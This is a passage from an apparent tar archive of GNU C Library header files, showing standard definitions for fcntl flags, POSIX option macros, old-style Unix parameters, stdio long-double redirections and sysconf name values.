#define F_SETFD 2 /* Set file descriptor flags. */ #define F_GETFL 3 /* Get file status flags. */ #define F_SETFL 4 /* Set file status flags. */ #ifndef __F_SETOWN # define __F_SETOWN 8 # define __F_GETOWN 9 #endif #if defined __USE_UNIX98 || defined __USE_XOPEN2K8 # define F_SETOWN __F_SETOWN /* Get owner (process receiving SIGIO). */ # define F_GETOWN __F_GETOWN /* Set owner (process receiving SIGIO). */ #endif #ifndef __F_SETSIG # define __F_SETSIG 10 /* Set number of signal to be sent. */ # define __F_GETSIG 11 /* Get number of signal to be sent. */ #endif #ifndef __F_SETOWN_EX # define __F_SETOWN_EX 15 /* Get owner (thread receiving SIGIO). */ # define __F_GETOWN_EX 16 /* Set owner (thread receiving SIGIO). */ #endif #ifdef __USE_GNU # define F_SETSIG __F_SETSIG /* Set number of signal to be sent. */ # define F_GETSIG __F_GETSIG /* Get number of signal to be sent. */ # define F_SETOWN_EX __F_SETOWN_EX /* Get owner (thread receiving SIGIO). */ # define F_GETOWN_EX __F_GETOWN_EX /* Set owner (thread receiving SIGIO). */ #endif #ifdef __USE_GNU # define F_SETLEASE 1024 /* Set a lease. */ # define F_GETLEASE 1025 /* Enquire what lease is active. */ # define F_NOTIFY 1026 /* Request notifications on a directory. */ # define F_SETPIPE_SZ 1031 /* Set pipe page size array. */ # define F_GETPIPE_SZ 1032 /* Set pipe page size array. */ # define F_ADD_SEALS 1033 /* Add seals to file. */ # define F_GET_SEALS 1034 /* Get seals for file. */ /* Set / get write life time hints. */ # define F_GET_RW_HINT 1035 # define F_SET_RW_HINT 1036 # define F_GET_FILE_RW_HINT 1037 # define F_SET_FILE_RW_HINT 1038 #endif #ifdef __USE_XOPEN2K8 # define F_DUPFD_CLOEXEC 1030 /* Duplicate file descriptor with close-on-exit set. */ #endif /* For F_[GET|SET]FD. */ #define FD_CLOEXEC 1 /* Actually anything with low bit set goes */ #ifndef F_RDLCK /* For posix fcntl() and `l_type' field of a `struct flock' for lockf(). */ # define F_RDLCK 0 /* Read lock. */ # define F_WRLCK 1 /* Write lock. */ # define F_UNLCK 2 /* Remove lock. */ #endif /* For old implementation of BSD flock. */ #ifndef F_EXLCK # define F_EXLCK 4 /* or 3 */ # define F_SHLCK 8 /* or 4 */ #endif #ifdef __USE_MISC /* Operations for BSD flock, also used by the kernel implementation. */ # define LOCK_SH 1 /* Shared lock. */ # define LOCK_EX 2 /* Exclusive lock. */ # define LOCK_NB 4 /* Or'd with one of the above to prevent blocking. */ # define LOCK_UN 8 /* Remove lock. */ #endif #ifdef __USE_GNU # define LOCK_MAND 32 /* This is a mandatory flock: */ # define LOCK_READ 64 /* ... which allows concurrent read operations. */ # define LOCK_WRITE 128 /* ... which allows concurrent write operations. */ # define LOCK_RW 192 /* ... Which allows concurrent read & write operations. */ #endif #ifdef __USE_GNU /* Types of directory notifications that may be requested with F_NOTIFY. */ # define DN_ACCESS 0x00000001 /* File accessed. */ # define DN_MODIFY 0x00000002 /* File modified. */ # define DN_CREATE 0x00000004 /* File created. */ # define DN_DELETE 0x00000008 /* File removed. */ # define DN_RENAME 0x00000010 /* File renamed. */ # define DN_ATTRIB 0x00000020 /* File changed attributes. */ # define DN_MULTISHOT 0x80000000 /* Don't remove notifier. */ #endif #ifdef __USE_GNU /* Owner types. */ enum __pid_type { F_OWNER_TID = 0, /* Kernel thread. */ F_OWNER_PID, /* Process. */ F_OWNER_PGRP, /* Process group. */ F_OWNER_GID = F_OWNER_PGRP /* Alternative, obsolete name. */ }; /* Structure to use with F_GETOWN_EX and F_SETOWN_EX. */ struct f_owner_ex { enum __pid_type type; /* Owner type of ID. */ __pid_t pid; /* ID of owner. */ }; #endif #ifdef __USE_GNU /* Types of seals. */ # define F_SEAL_SEAL 0x0001 /* Prevent further seals from being set. */ # define F_SEAL_SHRINK 0x0002 /* Prevent file from shrinking. */ # define F_SEAL_GROW 0x0004 /* Prevent file from growing. */ # define F_SEAL_WRITE 0x0008 /* Prevent writes. */ #endif #ifdef __USE_GNU /* Hint values for F_{GET,SET}_RW_HINT. */ # define RWH_WRITE_LIFE_NOT_SET 0 # define RWF_WRITE_LIFE_NOT_SET RWH_WRITE_LIFE_NOT_SET # define RWH_WRITE_LIFE_NONE 1 # define RWH_WRITE_LIFE_SHORT 2 # define RWH_WRITE_LIFE_MEDIUM 3 # define RWH_WRITE_LIFE_LONG 4 # define RWH_WRITE_LIFE_EXTREME 5 #endif /* Define some more compatibility macros to be backward compatible with BSD systems which did not managed to hide these kernel macros. */ #ifdef __USE_MISC # define FAPPEND O_APPEND # define FFSYNC O_FSYNC # define FASYNC O_ASYNC # define FNONBLOCK O_NONBLOCK # define FNDELAY O_NDELAY #endif /* Use misc. */ #ifndef __POSIX_FADV_DONTNEED # define __POSIX_FADV_DONTNEED 4 # define __POSIX_FADV_NOREUSE 5 #endif /* Advise to `posix_fadvise'. */ #ifdef __USE_XOPEN2K # define POSIX_FADV_NORMAL 0 /* No further special treatment. */ # define POSIX_FADV_RANDOM 1 /* Expect random page references. */ # define POSIX_FADV_SEQUENTIAL 2 /* Expect sequential page references. */ # define POSIX_FADV_WILLNEED 3 /* Will need these pages. */ # define POSIX_FADV_DONTNEED __POSIX_FADV_DONTNEED /* Don't need these pages. */ # define POSIX_FADV_NOREUSE __POSIX_FADV_NOREUSE /* Data will be accessed once. */ #endif #ifdef __USE_GNU /* Flags for SYNC_FILE_RANGE. */ # define SYNC_FILE_RANGE_WAIT_BEFORE 1 /* Wait upon writeout of all pages in the range before performing the write. */ # define SYNC_FILE_RANGE_WRITE 2 /* Initiate writeout of all those dirty pages in the range which are not presently under writeback. */ # define SYNC_FILE_RANGE_WAIT_AFTER 4 /* Wait upon writeout of all pages in the range after performing the write. */ /* Flags for SPLICE and VMSPLICE. */ # define SPLICE_F_MOVE 1 /* Move pages instead of copying. */ # define SPLICE_F_NONBLOCK 2 /* Don't block on the pipe splicing (but we may still block on the fd we splice from/to). */ # define SPLICE_F_MORE 4 /* Expect more data. */ # define SPLICE_F_GIFT 8 /* Pages passed in are a gift. */ /* Flags for fallocate. */ # include <linux/falloc.h> /* File handle structure. */ struct file_handle { unsigned int handle_bytes; int handle_type; /* File identifier. */ unsigned char f_handle[0]; }; /* Maximum handle size (for now). */ # define MAX_HANDLE_SZ 128 #endif __BEGIN_DECLS #ifdef __USE_GNU /* Provide kernel hint to read ahead. */ extern __ssize_t readahead (int __fd, __off64_t __offset, size_t __count) __THROW; /* Selective file content synch'ing. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int sync_file_range (int __fd, __off64_t __offset, __off64_t __count, unsigned int __flags); /* Splice address range into a pipe. This function is a possible cancellation point and therefore not marked with __THROW. */ extern __ssize_t vmsplice (int __fdout, const struct iovec *__iov, size_t __count, unsigned int __flags); /* Splice two files together. This function is a possible cancellation point and therefore not marked with __THROW. */ extern __ssize_t splice (int __fdin, __off64_t *__offin, int __fdout, __off64_t *__offout, size_t __len, unsigned int __flags); /* In-kernel implementation of tee for pipe buffers. This function is a possible cancellation point and therefore not marked with __THROW. */ extern __ssize_t tee (int __fdin, int __fdout, size_t __len, unsigned int __flags); /* Reserve storage for the data of the file associated with FD. This function is a possible cancellation point and therefore not marked with __THROW. */ # ifndef __USE_FILE_OFFSET64 extern int fallocate (int __fd, int __mode, __off_t __offset, __off_t __len); # else # ifdef __REDIRECT extern int __REDIRECT (fallocate, (int __fd, int __mode, __off64_t __offset, __off64_t __len), fallocate64); # else # define fallocate fallocate64 # endif # endif # ifdef __USE_LARGEFILE64 extern int fallocate64 (int __fd, int __mode, __off64_t __offset, __off64_t __len); # endif /* Map file name to file handle. */ extern int name_to_handle_at (int __dfd, const char *__name, struct file_handle *__handle, int *__mnt_id, int __flags) __THROW; /* Open file using the file handle. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int open_by_handle_at (int __mountdirfd, struct file_handle *__handle, int __flags); #endif /* use GNU */ __END_DECLS bits/posix_opt.h 0000644 00000013206 15246445046 0007716 0 ustar 00 /* Define POSIX options for Linux. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; see the file COPYING.LIB. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_POSIX_OPT_H #define _BITS_POSIX_OPT_H 1 /* Job control is supported. */ #define _POSIX_JOB_CONTROL 1 /* Processes have a saved set-user-ID and a saved set-group-ID. */ #define _POSIX_SAVED_IDS 1 /* Priority scheduling is supported. */ #define _POSIX_PRIORITY_SCHEDULING 200809L /* Synchronizing file data is supported. */ #define _POSIX_SYNCHRONIZED_IO 200809L /* The fsync function is present. */ #define _POSIX_FSYNC 200809L /* Mapping of files to memory is supported. */ #define _POSIX_MAPPED_FILES 200809L /* Locking of all memory is supported. */ #define _POSIX_MEMLOCK 200809L /* Locking of ranges of memory is supported. */ #define _POSIX_MEMLOCK_RANGE 200809L /* Setting of memory protections is supported. */ #define _POSIX_MEMORY_PROTECTION 200809L /* Some filesystems allow all users to change file ownership. */ #define _POSIX_CHOWN_RESTRICTED 0 /* `c_cc' member of 'struct termios' structure can be disabled by using the value _POSIX_VDISABLE. */ #define _POSIX_VDISABLE '\0' /* Filenames are not silently truncated. */ #define _POSIX_NO_TRUNC 1 /* X/Open realtime support is available. */ #define _XOPEN_REALTIME 1 /* X/Open thread realtime support is available. */ #define _XOPEN_REALTIME_THREADS 1 /* XPG4.2 shared memory is supported. */ #define _XOPEN_SHM 1 /* Tell we have POSIX threads. */ #define _POSIX_THREADS 200809L /* We have the reentrant functions described in POSIX. */ #define _POSIX_REENTRANT_FUNCTIONS 1 #define _POSIX_THREAD_SAFE_FUNCTIONS 200809L /* We provide priority scheduling for threads. */ #define _POSIX_THREAD_PRIORITY_SCHEDULING 200809L /* We support user-defined stack sizes. */ #define _POSIX_THREAD_ATTR_STACKSIZE 200809L /* We support user-defined stacks. */ #define _POSIX_THREAD_ATTR_STACKADDR 200809L /* We support priority inheritence. */ #define _POSIX_THREAD_PRIO_INHERIT 200809L /* We support priority protection, though only for non-robust mutexes. */ #define _POSIX_THREAD_PRIO_PROTECT 200809L #ifdef __USE_XOPEN2K8 /* We support priority inheritence for robust mutexes. */ # define _POSIX_THREAD_ROBUST_PRIO_INHERIT 200809L /* We do not support priority protection for robust mutexes. */ # define _POSIX_THREAD_ROBUST_PRIO_PROTECT -1 #endif /* We support POSIX.1b semaphores. */ #define _POSIX_SEMAPHORES 200809L /* Real-time signals are supported. */ #define _POSIX_REALTIME_SIGNALS 200809L /* We support asynchronous I/O. */ #define _POSIX_ASYNCHRONOUS_IO 200809L #define _POSIX_ASYNC_IO 1 /* Alternative name for Unix98. */ #define _LFS_ASYNCHRONOUS_IO 1 /* Support for prioritization is also available. */ #define _POSIX_PRIORITIZED_IO 200809L /* The LFS support in asynchronous I/O is also available. */ #define _LFS64_ASYNCHRONOUS_IO 1 /* The rest of the LFS is also available. */ #define _LFS_LARGEFILE 1 #define _LFS64_LARGEFILE 1 #define _LFS64_STDIO 1 /* POSIX shared memory objects are implemented. */ #define _POSIX_SHARED_MEMORY_OBJECTS 200809L /* CPU-time clocks support needs to be checked at runtime. */ #define _POSIX_CPUTIME 0 /* Clock support in threads must be also checked at runtime. */ #define _POSIX_THREAD_CPUTIME 0 /* GNU libc provides regular expression handling. */ #define _POSIX_REGEXP 1 /* Reader/Writer locks are available. */ #define _POSIX_READER_WRITER_LOCKS 200809L /* We have a POSIX shell. */ #define _POSIX_SHELL 1 /* We support the Timeouts option. */ #define _POSIX_TIMEOUTS 200809L /* We support spinlocks. */ #define _POSIX_SPIN_LOCKS 200809L /* The `spawn' function family is supported. */ #define _POSIX_SPAWN 200809L /* We have POSIX timers. */ #define _POSIX_TIMERS 200809L /* The barrier functions are available. */ #define _POSIX_BARRIERS 200809L /* POSIX message queues are available. */ #define _POSIX_MESSAGE_PASSING 200809L /* Thread process-shared synchronization is supported. */ #define _POSIX_THREAD_PROCESS_SHARED 200809L /* The monotonic clock might be available. */ #define _POSIX_MONOTONIC_CLOCK 0 /* The clock selection interfaces are available. */ #define _POSIX_CLOCK_SELECTION 200809L /* Advisory information interfaces are available. */ #define _POSIX_ADVISORY_INFO 200809L /* IPv6 support is available. */ #define _POSIX_IPV6 200809L /* Raw socket support is available. */ #define _POSIX_RAW_SOCKETS 200809L /* We have at least one terminal. */ #define _POSIX2_CHAR_TERM 200809L /* Neither process nor thread sporadic server interfaces is available. */ #define _POSIX_SPORADIC_SERVER -1 #define _POSIX_THREAD_SPORADIC_SERVER -1 /* trace.h is not available. */ #define _POSIX_TRACE -1 #define _POSIX_TRACE_EVENT_FILTER -1 #define _POSIX_TRACE_INHERIT -1 #define _POSIX_TRACE_LOG -1 /* Typed memory objects are not available. */ #define _POSIX_TYPED_MEMORY_OBJECTS -1 /* Streams are not available. */ #define _XOPEN_STREAMS -1 #endif /* bits/posix_opt.h */ bits/param.h 0000644 00000002630 15246445046 0006771 0 ustar 00 /* Old-style Unix parameters and limits. Linux version. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PARAM_H # error "Never use <bits/param.h> directly; include <sys/param.h> instead." #endif #ifndef ARG_MAX # define __undef_ARG_MAX #endif #include <linux/limits.h> #include <linux/param.h> /* The kernel headers define ARG_MAX. The value is wrong, though. */ #ifdef __undef_ARG_MAX # undef ARG_MAX # undef __undef_ARG_MAX #endif #define MAXSYMLINKS 20 /* The following are not really correct but it is a value we used for a long time and which seems to be usable. People should not use NOFILE and NCARGS anyway. */ #define NOFILE 256 #define NCARGS 131072 bits/stdio-ldbl.h 0000644 00000005705 15246445046 0007734 0 ustar 00 /* -mlong-double-64 compatibility mode for stdio functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDIO_H # error "Never include <bits/stdio-ldbl.h> directly; use <stdio.h> instead." #endif __LDBL_REDIR_DECL (fprintf) __LDBL_REDIR_DECL (printf) __LDBL_REDIR_DECL (sprintf) __LDBL_REDIR_DECL (vfprintf) __LDBL_REDIR_DECL (vprintf) __LDBL_REDIR_DECL (vsprintf) #if defined __USE_ISOC99 && !defined __USE_GNU \ && !defined __REDIRECT \ && (defined __STRICT_ANSI__ || defined __USE_XOPEN2K) __LDBL_REDIR1_DECL (fscanf, __nldbl___isoc99_fscanf) __LDBL_REDIR1_DECL (scanf, __nldbl___isoc99_scanf) __LDBL_REDIR1_DECL (sscanf, __nldbl___isoc99_sscanf) #else __LDBL_REDIR_DECL (fscanf) __LDBL_REDIR_DECL (scanf) __LDBL_REDIR_DECL (sscanf) #endif #if defined __USE_ISOC99 || defined __USE_UNIX98 __LDBL_REDIR_DECL (snprintf) __LDBL_REDIR_DECL (vsnprintf) #endif #ifdef __USE_ISOC99 # if !defined __USE_GNU && !defined __REDIRECT \ && (defined __STRICT_ANSI__ || defined __USE_XOPEN2K) __LDBL_REDIR1_DECL (vfscanf, __nldbl___isoc99_vfscanf) __LDBL_REDIR1_DECL (vscanf, __nldbl___isoc99_vscanf) __LDBL_REDIR1_DECL (vsscanf, __nldbl___isoc99_vsscanf) # else __LDBL_REDIR_DECL (vfscanf) __LDBL_REDIR_DECL (vsscanf) __LDBL_REDIR_DECL (vscanf) # endif #endif #ifdef __USE_XOPEN2K8 __LDBL_REDIR_DECL (vdprintf) __LDBL_REDIR_DECL (dprintf) #endif #ifdef __USE_GNU __LDBL_REDIR_DECL (vasprintf) __LDBL_REDIR_DECL (__asprintf) __LDBL_REDIR_DECL (asprintf) __LDBL_REDIR_DECL (obstack_printf) __LDBL_REDIR_DECL (obstack_vprintf) #endif #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function __LDBL_REDIR_DECL (__sprintf_chk) __LDBL_REDIR_DECL (__vsprintf_chk) # if defined __USE_ISOC99 || defined __USE_UNIX98 __LDBL_REDIR_DECL (__snprintf_chk) __LDBL_REDIR_DECL (__vsnprintf_chk) # endif # if __USE_FORTIFY_LEVEL > 1 __LDBL_REDIR_DECL (__fprintf_chk) __LDBL_REDIR_DECL (__printf_chk) __LDBL_REDIR_DECL (__vfprintf_chk) __LDBL_REDIR_DECL (__vprintf_chk) # ifdef __USE_XOPEN2K8 __LDBL_REDIR_DECL (__dprintf_chk) __LDBL_REDIR_DECL (__vdprintf_chk) # endif # ifdef __USE_GNU __LDBL_REDIR_DECL (__asprintf_chk) __LDBL_REDIR_DECL (__vasprintf_chk) __LDBL_REDIR_DECL (__obstack_printf_chk) __LDBL_REDIR_DECL (__obstack_vprintf_chk) # endif # endif #endif bits/confname.h 0000644 00000056234 15246445046 0007470 0 ustar 00 /* `sysconf', `pathconf', and `confstr' NAME values. Generic version. Copyright (C) 1993-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UNISTD_H # error "Never use <bits/confname.h> directly; include <unistd.h> instead." #endif /* Values for the NAME argument to `pathconf' and `fpathconf'. */ enum { _PC_LINK_MAX, #define _PC_LINK_MAX _PC_LINK_MAX _PC_MAX_CANON, #define _PC_MAX_CANON _PC_MAX_CANON _PC_MAX_INPUT, #define _PC_MAX_INPUT _PC_MAX_INPUT _PC_NAME_MAX, #define _PC_NAME_MAX _PC_NAME_MAX _PC_PATH_MAX, #define _PC_PATH_MAX _PC_PATH_MAX _PC_PIPE_BUF, #define _PC_PIPE_BUF _PC_PIPE_BUF _PC_CHOWN_RESTRICTED, #define _PC_CHOWN_RESTRICTED _PC_CHOWN_RESTRICTED _PC_NO_TRUNC, #define _PC_NO_TRUNC _PC_NO_TRUNC _PC_VDISABLE, #define _PC_VDISABLE _PC_VDISABLE _PC_SYNC_IO, #define _PC_SYNC_IO _PC_SYNC_IO _PC_ASYNC_IO, #define _PC_ASYNC_IO _PC_ASYNC_IO _PC_PRIO_IO, #define _PC_PRIO_IO _PC_PRIO_IO _PC_SOCK_MAXBUF, #define _PC_SOCK_MAXBUF _PC_SOCK_MAXBUF _PC_FILESIZEBITS, #define _PC_FILESIZEBITS _PC_FILESIZEBITS _PC_REC_INCR_XFER_SIZE, #define _PC_REC_INCR_XFER_SIZE _PC_REC_INCR_XFER_SIZE _PC_REC_MAX_XFER_SIZE, #define _PC_REC_MAX_XFER_SIZE _PC_REC_MAX_XFER_SIZE _PC_REC_MIN_XFER_SIZE, #define _PC_REC_MIN_XFER_SIZE _PC_REC_MIN_XFER_SIZE _PC_REC_XFER_ALIGN, #define _PC_REC_XFER_ALIGN _PC_REC_XFER_ALIGN _PC_ALLOC_SIZE_MIN, #define _PC_ALLOC_SIZE_MIN _PC_ALLOC_SIZE_MIN _PC_SYMLINK_MAX, #define _PC_SYMLINK_MAX _PC_SYMLINK_MAX _PC_2_SYMLINKS #define _PC_2_SYMLINKS _PC_2_SYMLINKS }; /* Values for the argument to `sysconf'. */ enum { _SC_ARG_MAX, #define _SC_ARG_MAX _SC_ARG_MAX _SC_CHILD_MAX, #define _SC_CHILD_MAX _SC_CHILD_MAX _SC_CLK_TCK, #define _SC_CLK_TCK _SC_CLK_TCK _SC_NGROUPS_MAX, #define _SC_NGROUPS_MAX _SC_NGROUPS_MAX _SC_OPEN_MAX, #define _SC_OPEN_MAX _SC_OPEN_MAX _SC_STREAM_MAX, #define _SC_STREAM_MAX _SC_STREAM_MAX _SC_TZNAME_MAX, #define _SC_TZNAME_MAX _SC_TZNAME_MAX _SC_JOB_CONTROL, #define _SC_JOB_CONTROL _SC_JOB_CONTROL _SC_SAVED_IDS, #define _SC_SAVED_IDS _SC_SAVED_IDS _SC_REALTIME_SIGNALS, #define _SC_REALTIME_SIGNALS _SC_REALTIME_SIGNALS _SC_PRIORITY_SCHEDULING, #define _SC_PRIORITY_SCHEDULING _SC_PRIORITY_SCHEDULING _SC_TIMERS, #define _SC_TIMERS _SC_TIMERS _SC_ASYNCHRONOUS_IO, #define _SC_ASYNCHRONOUS_IO _SC_ASYNCHRONOUS_IO _SC_PRIORITIZED_IO, #define _SC_PRIORITIZED_IO _SC_PRIORITIZED_IO _SC_SYNCHRONIZED_IO, #define _SC_SYNCHRONIZED_IO _SC_SYNCHRONIZED_IO _SC_FSYNC, #define _SC_FSYNC _SC_FSYNC _SC_MAPPED_FILES, #define _SC_MAPPED_FILES _SC_MAPPED_FILES _SC_MEMLOCK, #define _SC_MEMLOCK _SC_MEMLOCK _SC_MEMLOCK_RANGE, #define _SC_MEMLOCK_RANGE _SC_MEMLOCK_RANGE _SC_MEMORY_PROTECTION, #define _SC_MEMORY_PROTECTION _SC_MEMORY_PROTECTION _SC_MESSAGE_PASSING, #define _SC_MESSAGE_PASSING _SC_MESSAGE_PASSING _SC_SEMAPHORES, #define _SC_SEMAPHORES _SC_SEMAPHORES _SC_SHARED_MEMORY_OBJECTS, #define _SC_SHARED_MEMORY_OBJECTS _SC_SHARED_MEMORY_OBJECTS _SC_AIO_LISTIO_MAX, #define _SC_AIO_LISTIO_MAX _SC_AIO_LISTIO_MAX _SC_AIO_MAX, #define _SC_AIO_MAX _SC_AIO_MAX _SC_AIO_PRIO_DELTA_MAX, #define _SC_AIO_PRIO_DELTA_MAX _SC_AIO_PRIO_DELTA_MAX _SC_DELAYTIMER_MAX, #define _SC_DELAYTIMER_MAX _SC_DELAYTIMER_MAX _SC_MQ_OPEN_MAX, #define _SC_MQ_OPEN_MAX _SC_MQ_OPEN_MAX _SC_MQ_PRIO_MAX, #define _SC_MQ_PRIO_MAX _SC_MQ_PRIO_MAX _SC_VERSION, #define _SC_VERSION _SC_VERSION _SC_PAGESIZE, #define _SC_PAGESIZE _SC_PAGESIZE #define _SC_PAGE_SIZE _SC_PAGESIZE _SC_RTSIG_MAX, #define _SC_RTSIG_MAX _SC_RTSIG_MAX _SC_SEM_NSEMS_MAX, #define _SC_SEM_NSEMS_MAX _SC_SEM_NSEMS_MAX _SC_SEM_VALUE_MAX, #define _SC_SEM_VALUE_MAX _SC_SEM_VALUE_MAX _SC_SIGQUEUE_MAX, #define _SC_SIGQUEUE_MAX _SC_SIGQUEUE_MAX _SC_TIMER_MAX, #define _SC_TIMER_MAX _SC_TIMER_MAX /* Values for the argument to `sysconf' corresponding to _POSIX2_* symbols. */ _SC_BC_BASE_MAX, #define _SC_BC_BASE_MAX _SC_BC_BASE_MAX _SC_BC_DIM_MAX, #define _SC_BC_DIM_MAX _SC_BC_DIM_MAX _SC_BC_SCALE_MAX, #define _SC_BC_SCALE_MAX _SC_BC_SCALE_MAX _SC_BC_STRING_MAX, #define _SC_BC_STRING_MAX _SC_BC_STRING_MAX _SC_COLL_WEIGHTS_MAX, #define _SC_COLL_WEIGHTS_MAX _SC_COLL_WEIGHTS_MAX _SC_EQUIV_CLASS_MAX, #define _SC_EQUIV_CLASS_MAX _SC_EQUIV_CLASS_MAX _SC_EXPR_NEST_MAX, #define _SC_EXPR_NEST_MAX _SC_EXPR_NEST_MAX _SC_LINE_MAX, #define _SC_LINE_MAX _SC_LINE_MAX _SC_RE_DUP_MAX, #define _SC_RE_DUP_MAX _SC_RE_DUP_MAX _SC_CHARCLASS_NAME_MAX, #define _SC_CHARCLASS_NAME_MAX _SC_CHARCLASS_NAME_MAX _SC_2_VERSION, #define _SC_2_VERSION _SC_2_VERSION _SC_2_C_BIND, #define _SC_2_C_BIND _SC_2_C_BIND _SC_2_C_DEV, #define _SC_2_C_DEV _SC_2_C_DEV _SC_2_FORT_DEV, #define _SC_2_FORT_DEV _SC_2_FORT_DEV _SC_2_FORT_RUN, #define _SC_2_FORT_RUN _SC_2_FORT_RUN _SC_2_SW_DEV, #define _SC_2_SW_DEV _SC_2_SW_DEV _SC_2_LOCALEDEF, #define _SC_2_LOCALEDEF _SC_2_LOCALEDEF _SC_PII, #define _SC_PII _SC_PII _SC_PII_XTI, #define _SC_PII_XTI _SC_PII_XTI _SC_PII_SOCKET, #define _SC_PII_SOCKET _SC_PII_SOCKET _SC_PII_INTERNET, #define _SC_PII_INTERNET _SC_PII_INTERNET _SC_PII_OSI, #define _SC_PII_OSI _SC_PII_OSI _SC_POLL, #define _SC_POLL _SC_POLL _SC_SELECT, #define _SC_SELECT _SC_SELECT _SC_UIO_MAXIOV, #define _SC_UIO_MAXIOV _SC_UIO_MAXIOV _SC_IOV_MAX = _SC_UIO_MAXIOV, #define _SC_IOV_MAX _SC_IOV_MAX _SC_PII_INTERNET_STREAM, #define _SC_PII_INTERNET_STREAM _SC_PII_INTERNET_STREAM _SC_PII_INTERNET_DGRAM, #define _SC_PII_INTERNET_DGRAM _SC_PII_INTERNET_DGRAM _SC_PII_OSI_COTS, #define _SC_PII_OSI_COTS _SC_PII_OSI_COTS _SC_PII_OSI_CLTS, #define _SC_PII_OSI_CLTS _SC_PII_OSI_CLTS _SC_PII_OSI_M, #define _SC_PII_OSI_M _SC_PII_OSI_M _SC_T_IOV_MAX, #define _SC_T_IOV_MAX _SC_T_IOV_MAX /* Values according to POSIX 1003.1c (POSIX threads). */ _SC_THREADS, #define _SC_THREADS _SC_THREADS _SC_THREAD_SAFE_FUNCTIONS, #define _SC_THREAD_SAFE_FUNCTIONS _SC_THREAD_SAFE_FUNCTIONS _SC_GETGR_R_SIZE_MAX, #define _SC_GETGR_R_SIZE_MAX _SC_GETGR_R_SIZE_MAX _SC_GETPW_R_SIZE_MAX, #define _SC_GETPW_R_SIZE_MAX _SC_GETPW_R_SIZE_MAX _SC_LOGIN_NAME_MAX, #define _SC_LOGIN_NAME_MAX _SC_LOGIN_NAME_MAX _SC_TTY_NAME_MAX, #define _SC_TTY_NAME_MAX _SC_TTY_NAME_MAX _SC_THREAD_DESTRUCTOR_ITERATIONS, #define _SC_THREAD_DESTRUCTOR_ITERATIONS _SC_THREAD_DESTRUCTOR_ITERATIONS _SC_THREAD_KEYS_MAX, #define _SC_THREAD_KEYS_MAX _SC_THREAD_KEYS_MAX _SC_THREAD_STACK_MIN, #define _SC_THREAD_STACK_MIN _SC_THREAD_STACK_MIN _SC_THREAD_THREADS_MAX, #define _SC_THREAD_THREADS_MAX _SC_THREAD_THREADS_MAX _SC_THREAD_ATTR_STACKADDR, #define _SC_THREAD_ATTR_STACKADDR _SC_THREAD_ATTR_STACKADDR _SC_THREAD_ATTR_STACKSIZE, #define _SC_THREAD_ATTR_STACKSIZE _SC_THREAD_ATTR_STACKSIZE _SC_THREAD_PRIORITY_SCHEDULING, #define _SC_THREAD_PRIORITY_SCHEDULING _SC_THREAD_PRIORITY_SCHEDULING _SC_THREAD_PRIO_INHERIT, #define _SC_THREAD_PRIO_INHERIT _SC_THREAD_PRIO_INHERIT _SC_THREAD_PRIO_PROTECT, #define _SC_THREAD_PRIO_PROTECT _SC_THREAD_PRIO_PROTECT _SC_THREAD_PROCESS_SHARED, #define _SC_THREAD_PROCESS_SHARED _SC_THREAD_PROCESS_SHARED _SC_NPROCESSORS_CONF, #define _SC_NPROCESSORS_CONF _SC_NPROCESSORS_CONF _SC_NPROCESSORS_ONLN, #define _SC_NPROCESSORS_ONLN _SC_NPROCESSORS_ONLN _SC_PHYS_PAGES, #define _SC_PHYS_PAGES _SC_PHYS_PAGES _SC_AVPHYS_PAGES, #define _SC_AVPHYS_PAGES _SC_AVPHYS_PAGES _SC_ATEXIT_MAX, #define _SC_ATEXIT_MAX _SC_ATEXIT_MAX _SC_PASS_MAX, #define _SC_PASS_MAX _SC_PASS_MAX _SC_XOPEN_VERSION, #define _SC_XOPEN_VERSION _SC_XOPEN_VERSION _SC_XOPEN_XCU_VERSION, #define _SC_XOPEN_XCU_VERSION _SC_XOPEN_XCU_VERSION _SC_XOPEN_UNIX, #define _SC_XOPEN_UNIX _SC_XOPEN_UNIX _SC_XOPEN_CRYPT, #define _SC_XOPEN_CRYPT _SC_XOPEN_CRYPT _SC_XOPEN_ENH_I18N, #define _SC_XOPEN_ENH_I18N _SC_XOPEN_ENH_I18N _SC_XOPEN_SHM, #define _SC_XOPEN_SHM _SC_XOPEN_SHM _SC_2_CHAR_TERM, #define _SC_2_CHAR_TERM _SC_2_CHAR_TERM _SC_2_C_VERSION, #define 